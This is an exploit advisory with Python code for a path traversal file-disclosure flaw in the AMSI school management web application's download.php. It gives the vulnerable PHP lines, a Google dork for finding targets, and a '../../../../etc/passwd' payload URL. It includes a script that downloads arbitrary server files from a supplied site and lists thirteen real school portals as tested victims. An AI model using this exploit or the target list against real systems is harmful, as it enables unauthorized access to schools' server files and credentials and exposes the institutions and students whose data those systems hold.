|
.__ _____ _______
| |__ / | |___ __\ _ \_______ ____
| | \ / | |\ \/ / /_\ \_ __ \_/ __ \
| Y \/ ^ /> <\ \_/ \ | \/\ ___/
|___| /\____ |/__/\_ \\_____ /__| \___ >
\/ |__| \/ \/ \/
_____________________________
/ _____/\_ _____/\_ ___ \
\_____ \ | __)_ / \ \/
/ \ | \\ \____
/_______ //_______ / \______ /
\/ \/ \/
AMSI v3.20.47 build 37 <= Remote File Disclosure Exploit (.py)
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockout@e-mail.com.tr
[~] Exploit Developed by : B3mB4m
[~] HomePage : http://h4x0resec.blogspot.com
[~] Guzel Insanlar : ZoRLu, ( milw00rm.com ),
Septemb0x , BARCOD3 , _UnDeRTaKeR_ , BackDoor,
DaiMon, PRoMaX, alpican, EthicalHacker, BurakGrs
###########################################################
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Web App. : AMSI ( Academia management solutions international )
|~Affected Version : v3.20.47 build 37
|~Software : http://amsi.ae - http://iconnect.ae
|~RISK : Medium
|~Google Keyword/Dork : inurl:"?load=news/search_news"
|~Tested On : [L] Kali Linux \ [R] example sites
####################INFO################################
makes it possible to read all the files from the local base.
#######################################################
### Error Line in 'download.php' ##
..
$path = str_replace('/download.php?file=','',___FCKpd___0
SERVER['REQUEST_URI']);
// $path = ___FCKpd___0
GET['file'];
header("Content-Description: File Transfer");
header("Content-Type: application/force-download");
//header("Content-Disposition: attachment; filename=" . basename($path . $uri[1]));
header("Content-Disposition: attachment; filename=\"" . basename($path . $uri[1]) . "\"" );
@readfile($path);
..
########################################################
Example and tested on;
http://portal.iconnect.ae/
http://demo.iconnect.ae/
http://barsha.almawakeb.sch.ae/
http://portal.naischool.ae/
http://portal.ias-dubai.ae/
http://portal.madarschool.ae/
http://portal.isas.sch.ae/
http://portal.alsanawbarschool.com/
http://fia.fischools.com/
http://portal.ajyal.sch.ae/
http://portal.arabunityschool.com/
http://alnashaa.sch.ae/
http://portal.aaess.com/
############################################################
Manual Exploitation; http://$VICTIM/download.php?file=../../../../etc/passwd
############################################################
=========Automatic File Source Downloader Exploit ========
##################### exploit.py ##############################
# Coded by b3mb4m
import random
import os
import urllib
class B3mB4m(object):
def example(self):
print """
How to use ?
Website: http://VICTIM.com
Path : /download.php?file=../../../../etc/passwd
"""
def exploit(self):
ask = raw_input("Website :")
uz = raw_input("Path : ")
#ask = "http://alnashaa.sch.ae"
#uz = "/download.php?file=../../../../etc/passwd"
uniq = str(random.randrange(1,1000+1))+".txt"
filee = ask+uz
try:
urllib.urlretrieve(filee, uniq);
print "\t\nDownload complate ! "
os.startfile(uniq)
except:
B3mB4m().example()
if __name__ == '__main__':
B3mB4m().exploit()
|